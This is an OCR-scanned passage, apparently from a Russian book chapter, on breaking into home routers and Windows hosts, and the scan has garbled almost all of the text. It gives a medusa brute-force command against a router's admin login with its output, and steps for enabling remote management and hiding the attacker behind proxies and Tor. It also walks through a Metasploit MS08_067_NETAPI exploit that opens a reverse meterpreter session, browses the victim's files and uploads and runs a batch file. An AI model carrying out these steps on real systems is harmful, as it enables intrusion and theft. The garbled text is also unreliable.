MOTO poyTepa.

W 3neck 310yMBINUIEHHHKY MIPaeT Ha pyKy TO, 9TO MHOTHE BIaJIe/bbl POyTEpOB 3ayac-
TYIO BOOOINE He YCTaH3BIMBAIOT (He MEHAIOT) MapoJb IS YYETHOM 3aIiCH aJMUHICTpa-
TOpa poyTepa. OHM ke He IPEeANoJiaraiy, YTo KTO-TO NPOHMKHET BHYTPh CETH (3TO ca-
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MBI IepBEIi Gapbep), a MOTOMY Takas GecedHOCTb. CKONBKO e Hy)KHO HOBTOPATE IIPO
OCHOBHI Ge30MacHOCTH: 3alUTa JOJDKHA OBITh smenoHHpoBaHHOM. MHaue mocne cioma
onHOro M3 pybexel 3NMOYMBINUICHHUKY y)Ke He MOTpebyercs NMpeafpuHHMATh YCHIWH,
94TOGHI IPOJO/DKHUTH CBOE YEPHOE HEJIO JANIBIIIE.

Jnsa Toro 9roObl HAWTH MapoJib. MOJNB30BATENd C AAMHHHCTPATHBHBIMH IPaBaMH, yCTa-
HOBJICHHBIH "0 YMOJT9aHHIO" MpaKTHYECKH 1A 000 Moae I poyTepoB, MPOCTO JIOC-
TaTOYHO OOpaTHTHCS Ha OUH W3 HYDKE MPUBENEHHBIX pecypcoB UHTepHeTa:

http://www.phenoelit-us.org/dpl/dpl.html
http://hotdaily.ru/forum/2-75-1
http://www.routerpasswords.com/

Ho, ecnu mapoiis Ha poyTepe BCe e YCTaHOBJIEH, 8 CTAHIAPTHBIE NAPOJIM HE TOXXONST,
ut0 menaeT Xakep?! OIMH H3 NPOCTHIX METONOB, ECIIH KOHEYHO HA BalleM poOyTepe He
YCTaHORBJICHA 3aIIUTa C IPUMEHEHHEM KaIT4H, — 3TO MPUMEHEHHe NporpamMmebl medusa K3
yxe u3BecTHOTrO BaM Ha6opa Kali Linux. ITporpamma pa6oTaer no cioBapio U B peaib-
HO#M KHM3HHM MOJKET OKa3aThes Gecrone3Hol: HCKOMOTO NIapolisi He OKaXKETCS B CJIOBape.

IMocmotpuM, kak pabGoraer medusa. IIpoBeeM TecToBBIN B3JIOM Ha HallEM poyTepe,
YCTaHOBHMB ITPOCTOH Napoliib agMHHHCTpaTopa 87654321 u ucnone3ys clioBapk, B KOTO-
poM ecThb yka3zaHHoe cioBo. Kcratw, momo6HEIM obpa3oM uid "pa3Boia" MOCTyNaroT
B MHTepHeTE ¢ LENBIO MPHMBJIEYEHUS MOBEPYMBHIX TIONB30BaTeENel, KOra pa3sMelaior
BHEO (YTOOBI YBEJIMYHUTH MOCEMAaeMOCTh CTPAHHIIBI) C KPHYAIMMH 3aroJIoBKaMH "B3JIOM
poyTepa 3a TpH munyTs"'. Ho, pa3sHMLIa B TOM, YTO MBI C BaMM 3TO JIEIAEM B KaYeCTBE
0OydYeHHs M HYeCTHO pashACHAEM, B UeM Jeo. BaloM Mo cloBapio BOMOXEH, HO He
BCErJa M He 8a HecKombko MHUHYT. IIpumercs moTpyAWThCs, HMOMpoOOBaTh pa3IMYHbIE
CJIOBapH, M BCE PaBHO YCIIEX HE FapaHTHPOBAH.

Jins mapois aAMMHNCTDAaTOpa PoyTepa BEPOSTHOCTh BCE K€ BHIIIE, YeM VIS IPYTHX pe-
cypcoB. M Mb1 06bsacHIM noyeMy. IlpakTika nmokasbiBaer: BIafeNiblbl PaJMoOyCTPOHCTB,
ycraHoBuB mudpoBanue Wi-Fi Bo BHyTpeHHe# ceTH M 3ampeTHB Ha poyTepe BHEINHee
aJJMHHHCTPHPOBAaHKE, BeCbMa GeCneuHEl M 3a9acTyl0O HE MEHSIOT MM aJIMUHHCTPaTropa
poyTepa, MPUMEHSIOT IPOCThIE MapOJTH, NIOPOH aXke W3 HECKOJIBKUX IMdp (THIIa HOMepa

N

' B YouTube mpucyTcrByer cTpanmuka ¢ kpryammum 3aronoskoM — "Banom Wi-Fi 3a Tpu MuHyTH". Baaeo
JEeMOHCTpHpYeT NpuMeHeHHe Hebombmoi nporpammel WiFiCrack, HammcanHO#M HEM3BECTHBIM aBTOPOM I
omnepalmonHo# cucreMsl Windows. Do mporpaMMa nmosuIMoHMpyeTca kak 6pyTdopc, u k Heif mpuiaraeTcs
CI0Baph € TPHILATHIO, KaK IPABHIIO0, HUKEM HE HCIOIB3YEMBIMH NapoisaMy. i1 yCTaHOBKH IPOTPaMME! emme
TpeGyercs ycranoBuTe NET Framework 4. Iporpamma paGoraer Tonsko ¢ Windows 7. Illoy na YouTube
3aKJI09aCTCA B TOM, 4TO Ha POYTEpE YCTAHOBJICH MMEHHO TOT Hapoib, KOTOPHIA MMeeTcs B CIIOBape.
K crpanuake npuBiiekacTCs 60MbIIOE KOJIMIECCTBO JIOOOMBITHEIX (KTO-TO CTapaTeNbHO IMHApPHUT, HEIOHATHO,
¢ Kako#f nensio, 3Ty mporpammy Besae B Mutepuere). Ho Bpsax M 31o¥ mporpammoii BooGme BO3MOXKHO
pealbHO KOMY-TO Bocmons3oBaThca. Ha yGormit cmicox "medaynroBex" mnaponeif moBimATs B Heil
HEBO3MOXHO, OH XecTko BOIAT. O6emannoro 6pyrdopca oHa Boobme He ocymecTeaser. Co cloBapeM ke
nporpamMma paboTaeT 0BOJBHO CTPAaHHO: COBEPHICHHO 63 BCAKOH CHCTEMBI BHINACT Ha BCE POYTEPH! OIMH
KaKoH-TO HepeanbHbIH napois. Eciy B Hekue MOMEHTHI "OMyTHEHMA" OHA BCE %€ M Ha9MHAeT paboTarh, TO
3a4acTylo [1apoJib, PEAIbHO YCTaHOBJICHHEIH Ha pOyTepe U UMEIOIMIicS B ClIoBape (IOMEMEHHBIH Tyla HaMU
JUIS IPOBEIEHUA HCIBITAHMA), T09EMY-TO HE HAXOJMUT.
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tenedona). Kpome Tbro KaK"’fI’paBmIo 9KCIIEPHUMEHTHPOBATh MOKHO OY€Hb JOJTO, Mpo-
Oy pasmiHELe BapUaHTHI, He nonyqax TIpH 5TOM OJIOKMPOBKH.

TTponomKuM. SarpyncaeMcﬂ c )mcxa Kali Linux. YcraHoBuM coeAMHEHUE C nymon HaM
cerbio Wi-Fi (kak B Kali Linux coeuauThes ¢ ceThio, cm. 2nasy ).

Tak kak Hy>KHOro CJIOBaps'y Hac IOKa JUIA TIPOrpaMMBI HET, TO KOMHAPYEM TEKCTOBBIH
¢aiin ¢ mapossmu (CJIOBaph) B KaTalor, B KOTOPOM MBI OyA€M 3allyCKaTb HpOrpaMmy
medusa (1a X051 GBI B KOPEHB, T. €. r00t).

3amycTHM TEpMHUHAIBHYIO CECCHIO (C IpaBaMHM root), Kak 1oKa3aHO Ha puc. 5.3 (Ha)KHMa—
€M Ha 3Ha4YOK OKHA TepMHHAJIa B IPABOM BepXHeM yrity pabodero crona Kali Linux).

cemnmian g

Puc. 5.3

B oxHe TepMHUHAIBHOM ceccHU HabepeM KOMaHIy:
# medusa -h 192.168.0.1 -u "admin" -P password;lst -M http

rae:

O -h— XOCT, KOTOpHIH aTaKyeM, B HalleM Cllydae pOyTep HaXOMMTCs [O ajipecy
192.168.0.1, HEKOTOpBIE POYTEPHI 10 YMOTYAHHIO YCTaHABIMBAIOT aapec 192.168.1.1;

O -u— UM nonk30BaTeNs (JIOTHH), B HallleM CiIydae 3To uMs admin;

O -p— cioBaps, B KOTOPOM €CTh CIIMCOK MapoJiel, y Hac 310 password.Ist;

0O -M— THI MOZYJIA, B JAHHOM CIy4dae JOCTYT ocymecTriseTcs no http.

Eciu cioBo B ciioBape ecTs (mepeGop uaeT o4eHs 6i,1<:rpo) TO BBIBE/IETCS coobienue:

ACCOUNT FOUND: [http] Host: 192.168.0.1 User: admin Password
87654321 [SUCCESS]

ITpumep B310Ma Ha 585-i TOMBITKE fIpeJICTaBJICH Ha pHc. 5.4.

Bce apyrue coobmienus THa:

ACCOUNT CHECK: - [http] Host: 192.168.0.1 User: admin e Password:
n_u menshikova (2292 of 2292 complete)

HHPOPMUPYIOT O TOM, 9TO MApPOJIb He Hammelcs (He B3JIOMaH).

31ech n_u menshikova — MOC/IETHUI MONPOGOBAHHEIM M3 CIOBaps Mapoib, a 2292 —
YHCJIO MOMBITOK, T. €. KOJIMYECTBO CJIOB B BaleM CJIOBape.

CnoBaps LA 3TOH IPOrpaMMBI He MMeeT KakoH-TH00 0COOEHHO# CTPYKTYpBI, B HEM IIPO-
CTO HJIET IepeYMCIIeHHe CIIOB, pa3/ieJIeHHBIX CHMBOJIOM NepeBoaa KapeTku. O mogxopax
K ¢$OpMHpPOBaHMIO CJIOBapel MBI y)ke YIOMHHAIH B mpexbiayined riase. Kpome Toro,
B MIHTEpHETE MMEeTCs OrpOMHBIH BEIOOP ClIOBapeii pa3inyHOIO THUIA.
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Puc. 5.4

B onepaumonHoii cucreMe Windows Xakep MOXeT BOCHOJIb30BAaThCA B 3THX XK€ LIEJLIX
nporpammoii Turbo AccessDriver. IIporpaMmma uMeeT BO3MOKHOCTb MEHSATh MEHIO IIO
BBIOOpY B 3aBHCHMOCTH OT OINbITa mois3oBateis. Ilpu BeiOope pexuma "Oxcnept" or-
KpbIBaeTCsi BO3MOXKHOCTh MHOXKecTBa HacTpoek. K mporpamMme mpunaraiorcs HeGobIIme
CJIOBAapH: OTJIEJIBHO CJIOBAph JIOTHHOB, OTIAEIBHO CJIOBaph Maposiel, a Takke KOMOOIHCT
(1 T0, 1 Ipyroe). JIIT TECTOBOTrO B37I0Ma COGCTBEHHOTO POyTepa MOAKIIOUMM KOMGOJIHCT,
NpeNBapUTEIbHO BBES TyJa JIOTHH test U maponb 12345678 (Ha poyTepe yCTaHOBHM Te
ke TaHHbIE aKKayHTa).

Jlanee B HacTpo#Kax MpOrpaMMBI y6ebeM B HCIIOJIb30BaHME MPOKCH, a Takke Socks (06
3ToM 4yTh no3xe). YcranosuM Onmun | Hoctyn | GET Method (puc. 5.5).

B crpoke Server seeneM IP-azpec poyrepa u HaxmeM kHomnky Standard. B pesymsTarte
IporpaMma rnoadepeT JIOruH U napoisb (puc. 5.6).

HeMmHoro otsiekasch ceifuac OT OCHOBHOIO BONpPOCA, OTMETHM, YTO IpOrpaMMma OYeHb
rubKka ¥ UMEeT B HEKOTOPhIX (IIOMYEpPKMBaeM — B HEKOTOPHIX) MOMEHTAX Aaxe Ooibiie
BO3MOXKHOCTe#H 111 6pyTdopca pazmuuHbIX pecypcoB MIHTepHeTa, yeM, HalpuMmep, HOIy-
nspHas Hydra (cymecrsytor Bepcuu u 1t Windows, u s Linux, Breuatiiser Kojmue-
CTBO IOJJIEP>KMBACMBIX IIPOTOKOJIOB, HA pHC. 5.7 moKa3aH rpaduyeckuii BapHaHT Ipo-
rpammsel u3 Kali Linux ¢ nepeynem Bcex mojiepkKMBaeMbIX MMPOTOKONIOB). M B mepByio
ouepellb Cpeld BCEX BO3MOXHOCTEH MHTEPECHO HCIIONb30BAHUE JIUCTOB.YXKE YIIOMSHY-
TBIX TIpoKcH, a Taioke Socks. Takas yHkums mo3Bosser Xakepy BecTH HalaJeHHe
CKpPBITHO, HE 3acCBeYMBas cBoero Hacrosmero IP-anpeca, uro i Hero oueHb BaxHO. OO
MCTIOJIb30BaHMM NIPOKCH M Socks MbI emne OyneM roBOpUTS B CliedyIomeki riiase.
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urba Arces 5U)vpr v4 120

i Fesmn

e Turbo AccessDiver v4.120

Mozlyrm rlaccrch

A

Wctopya Llonb i

Puc. 5.5

Am’b Tpa nrp -
02:35 {Test: 671/10002 (1)

e
14 Gome

i

Havmersmie o ¥, He ckpuisaTe aTy cexwo nocne sasepuwers

| I

{
: 4 test : 12345678

Puc. 5.6
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b-gat—form

tp-post-form

ttp-proxy-urtenum

fire

inntp
doracle

foracle-listene

b
2
Iz
B

e e T e

A

thttps-get-form
thttps-post-form
icq

fimap

tdap2
tdap3 isvn
tdap3-crammd5 eamspeak
tdap3-digestmd5 elnet

imssqt e
rm:,osql {vmauthd
%“‘P ' pempp

Puc. 5.7

Hrak, Xakepy W3BecTeH Napoib K poyTepy (JId00 OH OCTaJICH YCTAHOBJICHHBIM TI0 YMOJI-
YaHuIo, MO0 MoAoOpaH ¢ mpUMeHeHueM ciioBapeii). Jlatee ocTaeTcs TONBEKO BOHTH Ha

POYyTep U HaCTPOHTH y/IalleHHOE yTIpaBJICHHE.

Hanpumep, mia TP-LINK 371o0-nenaercs B.MeHio Security, nanee — Remote Manage-
ment, Bmecto agpeca 0.0.0.0 (BceM 3ampemieHo0) ycTaHaBmmBaercs 255.255.255.255
(BCeM pa3spermeHo) 1 3aIIOMAHAETCsA C TIOMOIIBIO KHONKH Save (puc. 5:8).

N

i

Remote Management -

mwm 5.0., |

mespms [z zsszssjﬁmazs&mussmm

Puc. 5.8
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Janee moboe ynipaBiicHHe PpOYFEPOM XaKep MOXET YK€ OCYINECTBIIATh, NOJKIOUYHBIINCEH
K HEMy mocpeacTsoM Toro ke Tor-Gpaysepa (Jiisi CKPBITHOCTH CBOETO MECTOTIONIOKEHM)
1o npotokoiy http (mopt 80 Ha poyrepe He MeHAMM — cM. puc. 5.8). Bremnmii IP-anpec
B3JIOMaHHOT'O POyTepa OH MOXET BBUCHHTL Ha BKJIaZKke Status, MoJMydquB JOCTYII K po-
yTepy BO BpeMs B3/IOMa, HAXOACh €I BO BHYTPEHHE#H CEeTH.

HyXHo oTMeTHTH BaXKHOCTD MOMYYEHMS U1 XaKepa KOHTPOIA Haj poyrepoM. Jleno eme
U B TOM, YTO Ceifyac HOABHIIUCH POYTepHl, KOTOphIe MO3BOJIIIOT OPraHW30BaTh HOCTaTOY-
HO 3AINUINECHHYIO CTPYKTYpY BHYTpeHHe# ceTH. A UMEHHO: yKa3aHHEIE YCTPOMCTBa Io-
3BOJIAIOT CETMEHTHUPOBATh BHYTPEHHIOI CETh M HACTPOUTH JKECTKHe IpaBWiIa oOMeHa
MexAay cerMenTamu. [IpmMep HacTpoek nofoOHOrO poyTepa NMPHUBEICH 10 ClEAYIomEeMy
anpecy (mpaBma, aBTOp He JaeT OMNpEJeNicHHsA TOMY, 4YTO (haKTHYECKHM paccKasbIBaeT
0 CerMEHTHPOBaHMH AOMALIHEH CETH):

http://www.securitylab.ru/contest/448565.php

Jlns Toro 9To6H! BIMATH HAa TAKOTO POJA HACTPOMKH M MPOIKCATh Xakepy CBOM XOCT, U
HYKHO aJIMHHHUCTPAaTHBHOE YTIPABJICHHE POYTEPOM.

Kpome Toro, Ha Bpems B3/10Ma KaKoro-i#60 XocTa JepTBbl H3/lasleka, 1o HHTepHeTy, OH-
MOXKET, UMesi BO3MOXHOCTh KOH(HUIypHpOBaTh pOYyTEp, BPEMEHHO "KMAATh" HYXHBIH
XOCT B IEMIIHMTapH30BaHHYIO0 30HY (DMZ) ¢ uensto, 4T06H He MeINaii OrpaHUYeHHUs 10
6e3onacHocTH, BHOCHMEIE poyTepoM. Tak eMy y#noOHee JeiicTBOBaTh AajiblIle.

Ho, Bce xe! Kak xakepy u3yuuTh ciaObie MECTa B CETH, NOABEPraronieiics HanaJeHuo?
JI7ist 3TOro OH MOJKET HMCTIOJIB30BaTh IporpaMmy-ckanep X Spider (puc. 5.9) wiu npo6Hyio
BepcHIO, 00, Kak BoAMWTCA, Haiimer B HHrepHere "c TabGnerkoit"! XSpider (http://
www.ptsecurity.ru/) — o4eHb XOpoLIas IpOorpaMMa M CTOMT HEAO0POro. 3aKOHOMOCIyIn-
HOMY, STHYHOMY XaKepy €€ BCe ke Jydlle KyNHTh, T. K., €CTECTBEHHO, ITOC/IeJHHE BEp-
CHH TIOZIEPXHBAIOT GoNBIIyIO Gasy 110 pasTiIHbIM yS3BHMOCTSM.

ToMHMTCS, OYEHb AaBHO, Ha 3ape TMOABJICHHMA 3TOH MPOrPaMMBI NPOHM30ILIA HeGe3bIHTe-
pecHas UCTOpHS. ABTOP TOH KHWUTH YCTaHOBHJI POOHYIO BEPCHIO MPOrpaMMBI IJ1 TE€CTa
Ha OJ(MH M3 KOMITSIOTEPOB CETH YUPEKAEHHS, B KOTOPOM OH Toria paGoTan. YCTaHOBOY-
Has Bepcus Obuia B3fTa ¢ NMPWIAraeMoro K KOMIBIOTEPHOMY >KypHAITy KOMIIAKT-AHCKa.
KakoBo e ObuU10 €ro ymauBiieHHe, korja OAUTeNbHbIH "afiMHH" COOOIMI O HAIHYHM C
YKa3aHHOTO KOMIThIOTEpa NMOAO3PUTEILHBIX NaKeTOB, HANPaBJIIEMbIX HAa HECYILECTBYIO-
muii ceTeBoit anpec kitacca A (uro-to Tma 1.1.1.1, ceiyac yrke TOYHO M He BCIIOMHHTS).
Beut cenan 3anpoc pa3paGoTumky. Pa3paboTumKy yCIIOKOMIIM, YTO YKa3aHHOe BO3jeicT-
BHE AeWCTBHUTENBHO OCYLIECTBIAETCS B KAKUX-TO OT/IANOYHBIX LIEJSX M TOMBKO Ha Mpo6-
HOM Bepcuy (BUITMMO, 3a6bU1H YO6path). Ho, NpH 3TOM.OHH CHJIBHO yJIMBHIHCh, 9TO 3TO
BooOwIe 6b1I0 O6HAPYKEHO, OXBAIMB OPraHW3ALHIO 6e30MaCHOCTH B 3TOM YUpeXICHUH,
MIOTOMY YTO HUKTO APYTO# C TAKMM BOIPOCOM K HMM JIO CHX [Op He oOpalnaics.

J1sa Tecta NpH CKaHUPOBAHMH MBI MCIIOJIB30BAIM HEMPONATYaHHbIM M yCTaHOBICHHBIH
¢ IIapaMeTpaMu 0 yMo4aHuio crapeHbkuii Windows Server 2003 — cnenmansHo, 4TO-
651 ObUTO MOOOJBIIE YA3BUMOCTEHH.

O6paruTe BHHMMaHHe, KpOME MHOXKECTBA yA3BMMOCTeH Ha APYTHMX MOpTaX, Ha cepBepe
OTKPBIT MOpT 445. A 3TO 3HAYMT, 9TO Ui B3IIOMa MOXET cpaboTaTh, CTapblii Kak MHp,
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JHOGMMBIH XaKepaMH CHOCOS:HPOHMKHOBEHHS C IOMOIIBIO H3BECTHOTO 3KCILIOWTa Ui
yassumoctd MS08_067_NETAPI Hy a ecnu yxx He noiy4urcs, TO, Cy[Id IO pe3yiIbTa-
TaM CKaHMPOBAHUA, BCETa €Ile MOXKHO IPOOOBATH YSA3BUMOCTH Ha nopty 139.

-8 Cranupyembie xocTe! (6)

i-§ 192168.0.1
9 192168015
S 192168.0.25

Xoct
® 182.168.0.102

Arhopuaums

- @ Windows Server 2003 3730
1o 135/ tcp - Microsoft RPC’ 3
-4 YlaneHHOe BLINOAHEHWe KoMaHa
----- # Y1aneHHoe BLINOAHEHME KOMaHT
-- & 3anywena cnyxba DCOM
o 137/ udp-NetBIOS-SSN

5-e 139/71tcp - NetBIOS

=

----- CTMCOK PecypcoB
i@ MAC-agpec.
g WMSA KOMIbIOTEPa U A0MeH
' i--@ LanManageru0S

=0 445 7 tep - Microsoft DS

-0 1025/tcp-RPC LSASS exe
o 1026 /tcp - RPC services.exe

Puc. 5.9

open-hide.biz

Jlns Toro 9roGBl MPOTECTHPOBaTh POHMKHOBEHHE, MompoGyeM mporpammy Metasploit
(http://www.metasploit.com/), 111 9ero, Kak 3aKOHOIOCIYIIHBIE TPKIAHE, MOTyIUM
Ha cepBepe NMPOHM3BOAUTENS JMLIEH3HIO Ha /B HENENH, 3allOJHUB COOTBETCTBYIOIIYIO
dopmy. K cioBy, ecia BBl ykaxkeTe pealbHbIH HOMep TesedoHa, TO IPUrOTOBBTECH, YTO
BaM MO3BOHAT U3 (PHPMBI ¥ HIOMHTEPECYIOTCA HA YMCTOM AHIJIMMCKOM — 3a4€M BbI HC-
MOJI30BAJIM MporpaMMmy (M 310 He myTka). Ecimu BEI, 4TOOBI M30€XKaTh MOAPOOHOCTEIH,
npoGypuuTe YTO-TO THMA: "aif JOYHT aHIEHCTEHA", TO 4Yepe3 HECKOIBKO CEKYHJ OHH
MOJKJTIOYAT COTPYAHHILY, C aKIIEHTOM IOBOpAINYIO mo-pyccku. Iloxamyiicta, He mbITaid-
TeCh.C HUMH IIyTUTh M HE Ha3bIBaifTe ce0s 3ITOOHBIM XaKepOM, OHH 3TOTO He IIOHMMAIOT.

ITpo6nema Gyzer eme U B TOM, 9TO JUIs MOydYeHHs JTHLEH3NH Y Pa3paboTdnka He BOc-
HPMHUMAIOTCA TIOYTOBBIE aJ|peca M3BECTHBIX OecIUTaTHBIX MOYTOBBIX cepBepoB. Tak uro
mpuneTcs MogyMaTh Hal TeM, Ha KaKoH ajapec BaM 3ampocuTth Jjuuensmo. [locie ycra-
HOBKH TPOrpaMMbl (OTKIIOUMTE aHTHBHPYCHI IIPH MHCTAJULALMK) PETHCTPHPYIOTCS TOMb-
30BATEJIH M [1apOJIb, IPOU3BOAMTCA aKTHBALHs JTMUEH3UH (puc. 5.10).


Mixxx
Текстовое поле
open-hide.biz
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Quick Start Wizards Giobal Tools

Quick PenTest

Welz App Test

" Punc. 510

OTMeTHM, 9TO CYINECTBYIOT BEPCHH IPOrPaMMBI I Pa3sHBIX ONEPALlAOHHBIX CHCTEM.
Ecnu BBI mobutens Linux, To 6e3 mpo6iem: Habop Metasploit Bxoaut B Kali Linux. Ms1
7Ke IOTOBOPHJINCH, UTO GOJBINYIO YacTh codra OyneM paccMaTtpusath 111 Windows.

IMporpamma 3amyckaercs B Gpaysepe o ajipecy JIOKIBHOTO XOCTa, Ha MOPTY, COIJAco-
BaHHOM C BaMH Ipy MHCTaLIMKM. Korna oHa rotosa Uil NpUMEHEHHUs, CO3/1aB HOBBIM
TIPOEKT, Bl YBHAHMTE B MEHIO, YTO CKAHMPOBATh MOJOIBITHYIO CETh MM XOCT MOXHO Gbi-
1o u He B XSpider, Ho u 31€ech, BEIOpaB Analysis, nanee Scan, BBoguTcs 1100 JUana3oH
ajipecoB, MO0 KOHKPETHbIH XOCT U 3aITyCKaeTCs Launch Scan. CKaanosaHne ¢ mapa-
Merpalvm 110 yMonanmo OyzeT pOU3BOAUTHCH ;[ocraTo'mo JONTro, ¥ Ha LEJIEBOM XOCTe
JaXE MOTYT BosnmcHyTL Oonpe/eNieHHbIE COOH.

TIporpaMma npeHasHaueHa A1 NPOdECCHOHATBHONO TISHTECTHHT, XOPOLIO aBTOMATH-
3UpYeT TaKylo paGoTy M MOXeT, He OGOMMCS 3TOTO CII0Ba, BCE: paboTaTs ¢ rOTOBBIMH
SKCIUIONTAMH U KOHCTPYHMPOBATh CBOH, HAXOIHTH YA3BHMOCTH, CKAHUPOBATh CETh, CTPO-
HMTh TOIOJIOTHIO CETH, OCYIIECTBIIATh IPOHMKHOBEHYE C NIEPEHOCOM (aiiioB ¥ 3aIyCKOM
HX Ha lleleBoi MammvHe 1 T. A. Ho Ham ceifyac, 4roGbl He GBITH FOJIOCIOBHBIMH, HEOGXO-
JIMM TIPOCTOH, KOHKPETHBIH MPUMep MOKCKA W HCTIONb30BAHHS YS3BAMOCTH, B MBI TIPOBe-
PHM 3TO Ha HalIeM CTeHJe. '

Iocnie mpoBeneHMs CKaHUPOBaHMA CPeIy MPOYHX (€CIM MBI CKAaHHPOBAIM BCIO MOJICETH)
MBI BUIUM ¥ Haul GeHbIH NONONBITHEIH cepBep. Eciu menkHeM 1o yKasaHHOMY XOCTY,
TO YBHJIMM BC€ T€ 3K€ OTKPBITBIE OPTHI (pHc. 5.11).

Hy a nanee, m1a npocToTsl, He 3amaBas 0cO60 HMKAKHX TapaMeTpOB, BHIOPAB MEHIO
Exploit, ocymecTBiieM B aBTOMaTHIECKOM PEeXXHME TECTUPOBAHHUE MMEHHO 3TOT0, HYX-
HOro HaM xocrta (puc. 5.12).

Ilo coobmenmo "1 session opened..." (¢cM. puc. 5.12) NOHATHO, YTO NPOTrpaMMa yCTaHO-
BUJIa CEeCCHIO (OTKpoeM MeHIO Sessions) Halllero KOMITBIOTepa C LIEJIEBHIM XOCTOM, HC-
none3ys ya3sumocts MS08_067_NETAPI (puc. 5.13).
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nopt 445 TaioKe oTMeyeH nNporpaMMoii!

Showing T 10 6 of 6 entries

Puc. 5.1

i Camplete {1 session opened, 1 host 1argeted, G hosts skipped)

expting .o trigger ths vninerability

(770048 hyres!

Closed Sessions

B W4508 067 _NETAP!

Puc. 5.13
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| metapreter {payload/windows/meteipretes/reverse 1cp) ‘

=1

e

—

ploft/windows/smb/ms(8_067_netepi

=
i
i
N

Available Actions

Collect system evidence and sensitive data (screenshots, passwords,
Interact with the running desiaop on the target system, will notify the
Browse the remote filesystem and upload, download, and delete files
Search the remote filesystem for a specific pattem

) Interact with a remote command shefl on the target (aﬁvam:e& USErs}
Pivot attacks using the remote host as 2 gateway (TCPAUDP)

S Pivot waffic tirough the remote host {Ethemet/IF)

Close this session. Further interaction requizes exploitation

Puc. 5.14

-Hy a nambine MOXHO ZJeliaTh ¢ KOMIIBIOTEPOM-XEPTBOI 9TO YrOJHO, BEIOPAB COOTBETCT-
ByIoIuii cepBHUC (puc. 5.14). ‘
BriGepem Access Filesystem. Ilomy4ns nonssii noctyn x ¢aiioBoii cucreMe, MBI BU-
MM BCE€ pasZenbl XKECTKHX OUCKOB (pHc. 5.15).

['“n;xetaspbif

Home > 1 }m}mmmvsrmam)

.| Curresst Directory |

o [oowesm
I ——

1970-01-01 O7-0:00 +D700

Puc. 5.156
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‘Otxpoem auck D:\, nécmotpum comepxumoe, 3aiineM B 060# kaTaior (B HallleM CiTydae:
D:\Photo) u 3arpy3uM Ha yJaieHHYI0 CHCTeMy daiin (B HameM ciydae test.bat), ycraHo-
BUB (hriakok Ha ero BemoiHenue Run file after upload? (puc. 5.16). X ;

File to Upload

File niime (empty for defaul)

L

Puc. 5.16 ' Puc. 517

MoxceM nepeqman KaTaJory, y6em»m.cx uro (aiin yxke Ha yHaneHHOH (remote) mere-
Boii cucteme (puc. 5.17).

Eciu B (l)a'ml test.bat He GBLTO 3aI0XKEHO KOMAH/ Ha pa3pyIieHHe CHCTEMBI, TO yOeauMmc,
YTO KOMIIBIOTEp elme paboTaer (1myTka).

‘BoT Tak mpocTeHsKo, 6e3 JMITHero IymMa MBI IIOJYHHIIH TI0 CETH TONHBIH JOCTYT K yAa-
JIeHHO# crcTeMe. U uTo U3 TOro, 9To y IojIb30BaTesiel aTaKyeMoro KOMIbIOTEpa BCe Ma-
poH OBUIH CIIOXKHBIMU U JUTMHOMH B 24 cuMBosa?

IMomo6HEIM 06pa3oM AEHCTBYIOT M XaKepHhl, HampUMep, KOrJa MX Lejb — KOMIBIOTEp,
THOKTIOYEHHBIH K AMCTAHLIMOHHOMY GyXralTepckoMy 0GCITy KHBAHHIO.

C 1emnbio MoKas3aTh, YTO OJMH M TOT XK€ THI YA3BHMOCTH MOXXET MPHCYTCTBOBATh Ha pa3-
JIMYHBIX ONEPAOHHBIX CHCTEMaX, IPUBEAEM UL NpUMepa €Ile ONHH 3KpaH: pe3ybTaT
HPOHVMKHOBEHHSI HAa HEMPONAaTYEHHYIO, ¢ BHIKIIOUEHHEIM (aiipBoriom, Windows XP u
Toxe ¢ ucnonpzosanueM MS08_067_NETAPI (puc. 5.18).

Active Sessions

¢ o MSO8_067_NETARY

Puc. 5.18

: Kcrati, mpakTuka neHrecTHHra ¢ mpuMeHeHueM Metasploit mokaspiBaeT, 9ro u3 Bcex
Bepcuii Windows i IepCOHATLHOIO MPUMEHEHUs HanboJiee MeHbIIee KOTHIeCTBO Y3~
BuMocreit umeercs B Windows 8 u Bbilne (ecTecTBEHHO, U3 Habopa TeX, KOTOphIM o0yde-
Ha iporpamma). Ho, Tak jivi 370 Ha caMOM Jiesie — BOT B 4eM BOTpoc?

'Moxer GEITs, A1A XaKepoB TaM U B CaMOM Jielie MaJIo ysi3BUMOCTeH, HO BOT Apyras CTO-
poHa menanu (uuTata w3 npecchl): "Kumaiickue sxcnepmuvl noozomoeunu omuem, 8 Ko-
MOpOM YKA3bl6Aemcs, WMo onepayuonHas cucmema komnanuu Microsoft Windows 8 ne-
cem 8 cebe yepo3y 6e30nacHoCmu KUMQCKUM RONb308amMeNsIM. DKCHepmul 20Cy0apcmea
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cyumaiom, Ymo OnepayuoOHHAs CUCMeMAa UCHONb3YemCs Ons coopa TuYHOl UHGopmayu
nonvzoeameneil”.

Ho BepHeMcs k HameMy 3KcniepumeHTy. Takum 06pa3zoM, Ha KJIaCCHYECKOM IIPUMeEpe MBI,
BO-TIEPBHIX, MTOKa3alM aJITOPUTM JIEHCTBHUA Xakepa IPH NOUCKE yS3BHMOCTEH Ha XocTax
CETH, BO-BTOPHIX, TOKa3a HEOOXOAMMOCTh NPHUMEHEHHs NaT4yeil CUCTeMBI 110 yCTpaHe-
HHMIO pa3IMYHBIX YA3BUMOCTEH, a TakKe OCBETHJIM Ba)KHOCTh HACTPOEK MNapaMeTpoB
6€30MacHOCTH CUCTEMBI, B OTIMYHE OT YCTAHOBJICHHBIX 110 YMOIYaHHIO.

Ms1 pacckasanu Bcero o0 OOHOM M3 BO3MOXKHOCTeH mpuMeHeHus Metasploit (pabora B
ABTOMATHYECKOM PEXUME), U TO B Pe3yJIbTaTe IOIYYHIH CTONPOLEHTHBINA B3JIOM CHCTe-
MBI A YTO MOXHO CHeJaTh, 3aJeHCTBOBAaB OCTATFHBIE BO3MOXKHOCTH, CTPAIHO MpeCTa-
suTsh! Kpome rpaduyeckoro unrepdeiica B mporpaMme, KOHEYHO K€, CYIIECTBYeT BO3-
MOXKHOCTB PaGOTHI ¢ KOHCOJIH, €CTh TIOJIe3HBIi BCIIOMOTATeNbHEIH HHCTPYMeHT... Kora-
HUOYAbp HY)XHO HAmucaTh MpPO 3TO OTAENbHYI0 KHUTY. XOTd KHHTa yXE €CTb —
"Metasploit Penetration Testing Cookbook". B HHTepHeTe BCTpeyaiics U ee pycCKOsA3bIY-
HBIi1 IepeBoy.

B HHrepHeTe Takke BCTpedyaeTcs BepcHs MPOrpaMMBl, ykaszaHHas Ha puc. 5.19. Ona
